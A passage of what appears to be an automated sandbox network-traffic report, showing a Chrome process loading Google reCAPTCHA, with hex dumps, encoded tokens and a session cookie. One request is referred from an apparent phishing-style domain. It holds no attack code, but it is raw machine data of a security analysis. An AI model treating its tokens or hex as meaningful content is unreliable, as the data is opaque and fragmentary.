P.Rb=g(V,Z),P.qE=g(l,Z),P},pu=function(Z,V,l){if(Z.length==3){for(l=0;l<3;l++)V[
2025-01-15 09:06:54 UTC	1390	IN	Data Raw: 2c 55 3d 66 75 6e 63 74 69 6f 6e 28 5a 2c 56 2c 6c 29 7b 69 66 28 5a 3d 3d 31 33 30 7c 7c 5a 3d 3d 34 34 37 29 56 2e 4b 5b 5a 5d 3f 56 2e 4b 5b 5a 5d 2e 63 6f 6e 63 61 74 28 6c 29 3a 56 2e 4b 5b 5a 5d 3d 65 4e 28 6c 2c 56 29 3b 65 6c 73 65 7b 69 66 28 56 2e 57 32 26 26 5a 21 3d 31 31 29 72 65 74 75 72 6e 3b 5a 3d 3d 31 37 34 7c 7c 5a 3d 3d 33 37 7c 7c 5a 3d 3d 39 7c 7c 5a 3d 3d 33 35 32 7c 7c 5a 3d 3d 39 30 7c 7c 5a 3d 3d 32 38 34 7c 7c 5a 3d 3d 34 38 32 7c 7c 5a 3d 3d 33 31 36 7c 7c 5a 3d 3d 33 37 36 7c 7c 5a 3d 3d 32 38 33 3f 56 2e 4b 5b 5a 5d 7c 7c 28 56 2e 4b 5b 5a 5d 3d 5a 6e 28 5a 2c 56 2c 36 32 2c 6c 29 29 3a 56 2e 4b 5b 5a 5d 3d 5a 6e 28 5a 2c 56 2c 35 37 2c 6c 29 7d 5a 3d 3d 31 31 26 26 28 56 2e 52 3d 63 28 33 32 2c 66 61 6c 73 65 2c 56 29 2c 56 Data Ascii: ,U=function(Z,V,l){if(Z==130\|\|Z==447)V.K[Z]?V.K[Z].concat(l):V.K[Z]=eN(l,V);else{if(V.W2&&Z!=11)return;Z==174\|\|Z==37\|\|Z==9\|\|Z==352\|\|Z==90\|\|Z==284\|\|Z==482\|\|Z==316\|\|Z==376\|\|Z==283?V.K[Z]\|\|(V.K[Z]=Zn(Z,V,62,l)):V.K[Z]=Zn(Z,V,57,l)}Z==11&&(V.R=c(32,false,V),V

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49776	142.250.185.228	443	1072	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 09:06:54 UTC	902	OUT	GET /recaptcha/api2/bframe?hl=en&v=1Bq_oiMBd4XPUhKDwr0YL1Js&k=6LdLXbcqAAAAALRfEjW-l3ElmGAtD5CTjcOsiFcB HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://onlineauthenticationrelayservices.rnantengu.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 09:06:54 UTC	1161	IN	HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Embedder-Policy: require-corp Report-To: {"group":"recaptcha","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/recaptcha"}]} Report-To: {"group":"coop_38fac9d5b82543fc4729580d18ff2d3d","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/38fac9d5b82543fc4729580d18ff2d3d"}]} Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 15 Jan 2025 09:06:54 GMT Content-Security-Policy: script-src 'report-sample' 'nonce-NIBY2FXVWLR7Ei9GW9D2cw' 'unsafe-inline' 'strict-dynamic' https: http: 'unsafe-eval';object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/recaptcha/1 Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_38fac9d5b82543fc4729580d18ff2d3d" Server: ESF X-XSS-Protection: 0 X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2025-01-15 09:06:54 UTC	229	IN	Data Raw: 31 65 31 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 3c 68 74 6d 6c 20 64 69 72 3d 22 6c 74 72 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 0a 3c 74 69 74 6c 65 3e 72 65 43 41 50 54 43 48 41 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 2f 2a 20 63 Data Ascii: 1e14<!DOCTYPE HTML><html dir="ltr" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><title>reCAPTCHA</title><style type="text/css">/* c
2025-01-15 09:06:54 UTC	1390	IN	Data Raw: 79 72 69 6c 6c 69 63 2d 65 78 74 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 34 30 30 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6d 43 6e 71 45 75 39 32 46 72 31 4d 75 37 32 78 4b 4f 7a 59 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 30 34 36 30 2d 30 35 32 46 2c 20 55 2b 31 43 38 30 2d 31 43 38 41 2c 20 55 2b 32 30 42 34 2c 20 55 2b 32 44 45 30 2d 32 44 46 46 2c 20 55 2b 41 36 Data Ascii: yrillic-ext */@font-face { font-family: 'Roboto'; font-style: normal; font-weight: 400; src: url(//fonts.gstatic.com/s/roboto/v18/KFOmCnqEu92Fr1Mu72xKOzY.woff2) format('woff2'); unicode-range: U+0460-052F, U+1C80-1C8A, U+20B4, U+2DE0-2DFF, U+A6
2025-01-15 09:06:54 UTC	1390	IN	Data Raw: 32 30 41 42 3b 0a 7d 0a 2f 2a 20 6c 61 74 69 6e 2d 65 78 74 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 34 30 30 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6d 43 6e 71 45 75 39 32 46 72 31 4d 75 37 47 78 4b 4f 7a 59 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 30 31 30 30 2d 30 32 42 41 2c 20 55 2b 30 32 42 44 2d 30 32 43 35 2c 20 55 2b 30 32 43 37 2d 30 32 43 43 2c 20 55 2b 30 Data Ascii: 20AB;}/* latin-ext */@font-face { font-family: 'Roboto'; font-style: normal; font-weight: 400; src: url(//fonts.gstatic.com/s/roboto/v18/KFOmCnqEu92Fr1Mu7GxKOzY.woff2) format('woff2'); unicode-range: U+0100-02BA, U+02BD-02C5, U+02C7-02CC, U+0
2025-01-15 09:06:54 UTC	1390	IN	Data Raw: 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 35 30 30 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6c 43 6e 71 45 75 39 32 46 72 31 4d 6d 45 55 39 66 43 42 63 34 45 73 41 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 31 46 30 30 2d 31 46 46 46 3b 0a 7d 0a 2f 2a 20 67 72 65 65 6b 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a Data Ascii: font-style: normal; font-weight: 500; src: url(//fonts.gstatic.com/s/roboto/v18/KFOlCnqEu92Fr1MmEU9fCBc4EsA.woff2) format('woff2'); unicode-range: U+1F00-1FFF;}/* greek */@font-face { font-family: 'Roboto'; font-style: normal; font-weight:
2025-01-15 09:06:54 UTC	1390	IN	Data Raw: 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 30 30 30 30 2d 30 30 46 46 2c 20 55 2b 30 31 33 31 2c 20 55 2b 30 31 35 32 2d 30 31 35 33 2c 20 55 2b 30 32 42 42 2d 30 32 42 43 2c 20 55 2b 30 32 43 36 2c 20 55 2b 30 32 44 41 2c 20 55 2b 30 32 44 43 2c 20 55 2b 30 33 30 34 2c 20 55 2b 30 33 30 38 2c 20 55 2b 30 33 32 39 2c 20 55 2b 32 30 30 30 2d 32 30 36 46 2c 20 55 2b 32 30 41 43 2c 20 55 2b 32 31 32 32 2c 20 55 2b 32 31 39 31 2c 20 55 2b 32 31 39 33 2c 20 55 2b 32 32 31 32 2c 20 55 2b 32 32 31 35 2c 20 55 2b 46 45 46 46 2c 20 55 2b 46 46 46 44 3b 0a 7d 0a 2f 2a 20 63 79 72 69 6c 6c 69 63 2d 65 78 74 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 Data Ascii: format('woff2'); unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+0304, U+0308, U+0329, U+2000-206F, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD;}/* cyrillic-ext */@font-face { font-family:
2025-01-15 09:06:54 UTC	1390	IN	Data Raw: 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6c 43 6e 71 45 75 39 32 46 72 31 4d 6d 59 55 74 66 43 78 63 34 45 73 41 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 30 31 30 32 2d 30 31 30 33 2c 20 55 2b 30 31 31 30 2d 30 31 31 31 2c 20 55 2b 30 31 32 38 2d 30 31 32 39 2c 20 55 2b 30 31 36 38 2d 30 31 36 39 2c 20 55 2b 30 31 41 30 2d 30 31 41 31 2c 20 55 2b 30 31 41 46 2d 30 31 42 30 2c 20 55 2b 30 33 30 30 2d 30 33 30 31 2c 20 55 2b 30 33 30 33 2d 30 33 30 34 2c 20 55 2b 30 33 30 38 2d 30 33 30 39 2c 20 55 2b 30 33 32 33 2c 20 55 2b 30 33 32 39 2c 20 55 2b 31 45 41 30 2d 31 45 46 39 2c 20 55 2b 32 30 41 42 3b 0a 7d 0a 2f 2a 20 6c 61 74 69 6e 2d 65 78 74 20 2a 2f Data Ascii: m/s/roboto/v18/KFOlCnqEu92Fr1MmYUtfCxc4EsA.woff2) format('woff2'); unicode-range: U+0102-0103, U+0110-0111, U+0128-0129, U+0168-0169, U+01A0-01A1, U+01AF-01B0, U+0300-0301, U+0303-0304, U+0308-0309, U+0323, U+0329, U+1EA0-1EF9, U+20AB;}/* latin-ext */
2025-01-15 09:06:54 UTC	529	IN	Data Raw: 4d 42 64 34 58 50 55 68 4b 44 77 72 30 59 4c 31 4a 73 2f 72 65 63 61 70 74 63 68 61 5f 5f 65 6e 2e 6a 73 22 20 6e 6f 6e 63 65 3d 22 4e 49 42 59 32 46 58 56 57 4c 52 37 45 69 39 47 57 39 44 32 63 77 22 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 68 69 64 64 65 6e 22 20 69 64 3d 22 72 65 63 61 70 74 63 68 61 2d 74 6f 6b 65 6e 22 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 6e 6f 6e 63 65 3d 22 4e 49 42 59 32 46 58 56 57 4c 52 37 45 69 39 47 57 39 44 32 63 77 22 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 72 65 63 61 70 74 63 68 61 2e 66 72 61 6d 65 2e 4d 61 69 6e 2e 69 6e 69 74 28 22 5b 5c 78 32 Data Ascii: MBd4XPUhKDwr0YL1Js/recaptcha__en.js" nonce="NIBY2FXVWLR7Ei9GW9D2cw"> </script></head><body><input type="hidden" id="recaptcha-token"><script type="text/javascript" nonce="NIBY2FXVWLR7Ei9GW9D2cw"> recaptcha.frame.Main.init("[\x2
2025-01-15 09:06:54 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49814	142.250.185.228	443	1072	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 09:07:01 UTC	863	OUT	POST /recaptcha/api2/reload?k=6LdLXbcqAAAAALRfEjW-l3ElmGAtD5CTjcOsiFcB HTTP/1.1 Host: www.google.com Connection: keep-alive Content-Length: 8256 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-protobuffer Accept: / Origin: https://www.google.com X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.google.com/recaptcha/api2/bframe?hl=en&v=1Bq_oiMBd4XPUhKDwr0YL1Js&k=6LdLXbcqAAAAALRfEjW-l3ElmGAtD5CTjcOsiFcB Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 09:07:01 UTC	8256	OUT	Data Raw: 0a 18 31 42 71 5f 6f 69 4d 42 64 34 58 50 55 68 4b 44 77 72 30 59 4c 31 4a 73 12 f9 0f 30 33 41 46 63 57 65 41 37 7a 4e 2d 71 42 6b 51 4e 4c 63 6d 54 76 47 50 70 72 54 65 2d 6d 66 72 4e 79 6b 30 6d 7a 32 37 50 78 4d 54 37 69 4f 4c 33 5f 32 31 39 2d 47 79 61 4e 75 5a 4e 4f 55 47 6d 35 77 32 38 61 6d 37 44 6f 6d 4a 77 6c 6d 37 4d 4a 74 64 67 75 2d 6b 53 65 48 77 53 52 6b 75 54 70 34 6c 77 6e 73 4c 54 48 55 77 6e 56 73 75 75 62 35 37 63 5f 54 34 44 64 45 62 67 31 63 74 5a 4d 6f 46 4c 72 34 57 6c 6a 79 66 58 53 4b 55 4d 6e 7a 4c 61 50 30 50 50 4d 41 43 44 7a 7a 6f 4f 30 72 53 6b 48 58 7a 74 31 38 6a 36 76 37 38 46 44 39 41 30 49 4c 77 33 4b 5f 6a 67 34 79 5a 72 6d 5a 6b 56 50 57 72 46 4e 62 44 46 61 4f 38 41 7a 35 4c 68 4a 78 61 63 71 65 73 4a 41 33 57 32 44 Data Ascii: 1Bq_oiMBd4XPUhKDwr0YL1Js03AFcWeA7zN-qBkQNLcmTvGPprTe-mfrNyk0mz27PxMT7iOL3_219-GyaNuZNOUGm5w28am7DomJwlm7MJtdgu-kSeHwSRkuTp4lwnsLTHUwnVsuub57c_T4DdEbg1ctZMoFLr4WljyfXSKUMnzLaP0PPMACDzzoO0rSkHXzt18j6v78FD9A0ILw3K_jg4yZrmZkVPWrFNbDFaO8Az5LhJxacqesJA3W2D
2025-01-15 09:07:02 UTC	1000	IN	HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8 X-Content-Type-Options: nosniff Cross-Origin-Resource-Policy: same-site Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_38fac9d5b82543fc4729580d18ff2d3d" Report-To: {"group":"coop_38fac9d5b82543fc4729580d18ff2d3d","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/38fac9d5b82543fc4729580d18ff2d3d"}]} Date: Wed, 15 Jan 2025 09:07:02 GMT Server: ESF X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Set-Cookie: _GRECAPTCHA=09AGVEItcahM1xAKUycdMcjF_L6jKBFMZyCksz1pmgqJCSi2Yi-8GmFNwKnK6zKrwSSMPykduU86rVvwGqmROxtxY; Expires=Mon, 14-Jul-2025 09:07:02 GMT; Path=/recaptcha; Secure; HttpOnly; Priority=HIGH; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Sec-Fetch-Dest, Sec-Fetch-Mode, Sec-Fetch-Site,Accept-Encoding Expires: Wed, 15 Jan 2025 09:07:02 GMT Cache-Control: private Connection: close Transfer-Encoding: chunked
2025-01-15 09:07:02 UTC	390	IN	Data Raw: 34 30 37 31 0d 0a 29 5d 7d 27 0a 5b 22 72 72 65 73 70 22 2c 22 30 33 41 46 63 57 65 41 34 30 34 49 36 37 62 5a 39 6e 59 43 4d 6d 43 37 73 76 76 69 2d 6e 4c 71 7a 4a 47 63 33 79 59 35 6b 6c 78 76 39 79 67 63 59 61 30 45 65 49 50 6f 4c 57 6b 77 50 75 35 5f 39 74 73 65 41 74 65 79 73 4e 64 32 33 42 5f 39 61 56 38 44 78 50 55 56 4c 62 73 56 73 4d 4c 78 4c 4c 33 62 77 73 69 30 76 6c 6c 64 4e 46 5a 6b 52 4f 78 6f 4e 74 50 4d 4c 66 73 47 76 66 41 38 56 63 36 73 72 4c 39 46 43 4f 75 46 59 49 6f 2d 34 72 75 7a 6b 51 37 65 74 59 46 4a 63 6d 78 7a 66 54 46 59 45 47 4e 4a 74 51 72 30 70 65 50 63 74 6c 67 38 69 42 51 52 76 63 4d 74 4a 6d 6e 33 7a 5a 54 6a 6b 47 6d 4b 66 79 76 68 46 39 48 42 74 53 43 35 36 6c 43 64 5f 39 42 7a 35 30 72 65 52 44 73 61 77 59 7a 47 52 6e Data Ascii: 4071)]}'["rresp","03AFcWeA404I67bZ9nYCMmC7svvi-nLqzJGc3yY5klxv9ygcYa0EeIPoLWkwPu5_9tseAteysNd23B_9aV8DxPUVLbsVsMLxLL3bwsi0vlldNFZkROxoNtPMLfsGvfA8Vc6srL9FCOuFYIo-4ruzkQ7etYFJcmxzfTFYEGNJtQr0pePctlg8iBQRvcMtJmn3zZTjkGmKfyvhF9HBtSC56lCd_9Bz50reRDsawYzGRn
2025-01-15 09:07:02 UTC	1390	IN	Data Raw: 5a 62 35 6d 59 63 47 50 49 6e 66 45 37 58 2d 75 5f 45 46 76 5f 78 77 30 4d 6e 4e 39 37 5a 37 51 34 54 68 70 75 5a 65 33 36 5a 78 51 4f 71 33 64 37 5a 2d 32 30 4e 5f 50 59 46 64 5f 30 6b 31 78 70 36 49 43 4d 57 37 33 52 4a 74 71 49 2d 59 4d 69 66 68 70 78 4c 45 4d 70 44 39 47 74 37 70 4a 6c 69 47 4c 62 75 70 70 51 4e 78 4c 6e 77 78 6c 4b 54 4d 76 51 56 44 34 5f 31 76 67 49 53 57 75 79 58 44 6c 4e 56 4d 42 35 39 47 35 4e 62 55 31 5f 6f 35 71 5f 32 34 44 6e 39 4d 49 38 70 52 42 65 4f 74 32 4f 57 58 59 49 6e 65 61 6d 62 43 73 30 44 30 38 4c 4d 76 4c 31 59 33 36 6c 6a 70 44 4f 73 74 68 61 4f 4c 62 63 62 48 32 49 73 69 50 76 34 65 34 56 63 66 54 69 35 37 6c 36 75 55 7a 6c 56 4a 67 6d 6d 35 32 6a 6b 5f 4d 5f 42 64 61 71 71 33 61 61 53 54 71 4b 70 65 41 71 6c 55 Data Ascii: Zb5mYcGPInfE7X-u_EFv_xw0MnN97Z7Q4ThpuZe36ZxQOq3d7Z-20N_PYFd_0k1xp6ICMW73RJtqI-YMifhpxLEMpD9Gt7pJliGLbuppQNxLnwxlKTMvQVD4_1vgISWuyXDlNVMB59G5NbU1_o5q_24Dn9MI8pRBeOt2OWXYIneambCs0D08LMvL1Y36ljpDOsthaOLbcbH2IsiPv4e4VcfTi57l6uUzlVJgmm52jk_M_Bdaqq3aaSTqKpeAqlU
2025-01-15 09:07:02 UTC	1390	IN	Data Raw: 37 4a 31 37 4d 6c 6d 73 73 51 41 65 59 35 4f 32 6a 41 33 55 42 54 77 69 6e 49 4f 77 51 72 58 2d 42 45 56 50 30 78 52 58 41 62 48 75 66 6f 74 4d 77 68 52 34 6d 46 68 76 4f 65 45 47 7a 31 79 69 78 38 74 79 57 7a 67 73 5a 79 62 6d 31 5f 43 52 45 65 52 2d 44 43 30 51 53 45 54 48 2d 34 74 55 31 30 6f 2d 41 6d 4d 58 76 50 51 31 4f 4d 2d 49 58 79 63 30 63 47 36 52 59 7a 59 53 6d 49 6b 38 65 31 33 73 49 36 62 47 36 5a 57 49 47 4e 6b 6b 4d 48 5f 39 6d 58 52 59 42 56 4e 7a 44 35 51 4b 36 71 4a 78 65 47 44 4e 45 71 50 42 64 2d 79 30 6b 36 44 44 53 52 79 7a 31 6d 49 2d 6d 59 79 74 74 5f 39 67 69 6e 38 74 45 48 2d 72 46 39 47 41 35 35 42 67 75 36 55 4e 39 42 70 61 73 49 6d 75 64 46 41 35 58 75 6c 76 53 45 57 64 58 46 71 30 7a 75 71 75 32 50 72 44 39 37 33 33 7a 71 71 Data Ascii: 7J17MlmssQAeY5O2jA3UBTwinIOwQrX-BEVP0xRXAbHufotMwhR4mFhvOeEGz1yix8tyWzgsZybm1_CREeR-DC0QSETH-4tU10o-AmMXvPQ1OM-IXyc0cG6RYzYSmIk8e13sI6bG6ZWIGNkkMH_9mXRYBVNzD5QK6qJxeGDNEqPBd-y0k6DDSRyz1mI-mYytt_9gin8tEH-rF9GA55Bgu6UN9BpasImudFA5XulvSEWdXFq0zuqu2PrD9733zqq
2025-01-15 09:07:02 UTC	1390	IN	Data Raw: 6a 62 69 39 4d 52 34 41 6e 37 73 4a 65 57 68 57 38 6e 6d 31 63 5f 68 66 78 2d 49 44 45 56 39 48 5f 46 69 4d 48 46 46 6b 78 47 30 71 53 4b 47 75 4b 33 73 73 63 72 76 4a 69 49 78 4c 51 4a 77 6e 73 41 65 33 78 52 55 75 31 46 59 30 7a 56 73 61 2d 43 5a 47 4d 67 74 77 47 66 46 50 6d 36 76 67 31 79 77 76 4b 5f 36 64 47 67 71 4d 31 65 37 77 49 56 45 59 51 7a 72 41 34 5f 31 31 6c 58 33 4b 2d 5f 45 69 43 42 39 72 78 41 61 45 33 4e 4d 56 4a 4c 5a 75 56 77 79 54 79 69 77 73 46 78 72 79 32 30 77 5a 63 31 53 69 73 48 45 71 63 38 7a 57 7a 37 4a 35 5f 50 34 68 68 50 5a 56 4b 68 39 4e 44 4b 5f 59 57 57 61 49 52 59 35 34 69 4f 42 50 5f 39 6b 46 72 4f 68 77 42 76 55 4f 32 47 2d 56 4e 73 30 69 49 41 66 54 44 61 45 53 55 2d 73 57 38 6d 6a 62 4b 4f 34 4e 66 6c 38 6b 48 42 39 Data Ascii: jbi9MR4An7sJeWhW8nm1c_hfx-IDEV9H_FiMHFFkxG0qSKGuK3sscrvJiIxLQJwnsAe3xRUu1FY0zVsa-CZGMgtwGfFPm6vg1ywvK_6dGgqM1e7wIVEYQzrA4_11lX3K-_EiCB9rxAaE3NMVJLZuVwyTyiwsFxry20wZc1SisHEqc8zWz7J5_P4hhPZVKh9NDK_YWWaIRY54iOBP_9kFrOhwBvUO2G-VNs0iIAfTDaESU-sW8mjbKO4Nfl8kHB9
2025-01-15 09:07:02 UTC	1390	IN	Data Raw: 57 51 6d 59 33 6d 47 43 30 5a 39 35 33 35 4f 75 76 70 4a 6c 78 43 55 69 6a 5f 59 42 50 6b 4e 47 61 56 35 48 4e 4c 38 4d 6d 71 64 42 37 51 7a 51 51 72 72 71 5f 69 68 67 39 73 33 55 72 65 74 56 62 35 42 49 69 56 33 35 5a 4e 72 79 74 66 6f 6e 2d 31 57 63 76 6d 49 58 68 6c 37 47 32 4c 41 71 5f 72 64 38 37 4a 67 76 73 74 5f 34 46 7a 76 4e 66 4f 48 36 37 72 6f 61 59 4d 79 76 70 45 67 61 77 4a 38 49 6b 44 64 62 43 6e 52 6c 78 4b 44 38 34 50 6d 66 50 6c 51 6c 6b 5a 73 74 39 61 41 78 64 51 64 4f 41 6c 52 34 50 47 50 49 30 74 70 56 4f 74 59 59 69 61 5f 4b 47 44 4d 46 4f 6f 64 74 31 72 66 32 74 4c 38 45 46 46 48 6c 7a 62 4e 66 35 31 34 6e 6f 37 66 73 7a 6e 4a 4e 74 4d 63 47 33 38 43 67 41 51 6d 2d 78 39 71 7a 70 42 45 51 4a 48 2d 68 6c 37 51 76 79 62 65 44 4c 79 44 Data Ascii: WQmY3mGC0Z9535OuvpJlxCUij_YBPkNGaV5HNL8MmqdB7QzQQrrq_ihg9s3UretVb5BIiV35ZNrytfon-1WcvmIXhl7G2LAq_rd87Jgvst_4FzvNfOH67roaYMyvpEgawJ8IkDdbCnRlxKD84PmfPlQlkZst9aAxdQdOAlR4PGPI0tpVOtYYia_KGDMFOodt1rf2tL8EFFHlzbNf514no7fsznJNtMcG38CgAQm-x9qzpBEQJH-hl7QvybeDLyD
2025-01-15 09:07:02 UTC	1390	IN	Data Raw: 54 64 79 74 6b 59 6d 5a 6c 4f 53 39 6b 5a 30 70 30 63 30 46 6e 5a 57 78 58 63 79 39 46 64 6b 70 70 59 6d 77 34 4c 30 59 77 62 55 51 72 5a 30 77 33 5a 44 5a 68 4f 58 42 49 4d 47 39 57 63 33 68 33 51 7a 4a 52 62 6d 39 51 63 31 4d 34 5a 56 4a 42 4e 44 42 77 55 33 46 59 4d 6b 64 4e 4f 48 51 79 62 48 45 78 57 46 64 4f 64 46 5a 4d 54 6c 4e 46 51 6b 78 5a 56 56 5a 57 57 58 70 4b 54 57 4e 55 4d 43 74 74 56 47 39 55 56 44 64 48 4e 54 59 34 61 48 4a 35 62 30 68 46 5a 31 70 34 4e 32 4a 51 53 30 73 32 59 58 64 46 63 33 6c 45 52 31 64 53 56 30 46 46 59 33 42 4d 55 46 6c 43 52 56 6c 55 65 57 4e 6a 53 56 70 32 65 48 42 6d 59 30 46 7a 4e 45 5a 43 56 55 52 78 64 32 70 32 59 53 39 49 55 45 70 45 52 44 68 73 52 54 68 6d 61 56 46 75 52 31 5a 31 63 31 70 45 63 44 6c 6e 4d 30 Data Ascii: TdytkYmZlOS9kZ0p0c0FnZWxXcy9FdkppYmw4L0YwbUQrZ0w3ZDZhOXBIMG9Wc3h3QzJRbm9Qc1M4ZVJBNDBwU3FYMkdNOHQybHExWFdOdFZMTlNFQkxZVVZWWXpKTWNUMCttVG9UVDdHNTY4aHJ5b0hFZ1p4N2JQS0s2YXdFc3lER1dSV0FFY3BMUFlCRVlUeWNjSVp2eHBmY0FzNEZCVURxd2p2YS9IUEpERDhsRThmaVFuR1Z1c1pEcDlnM0
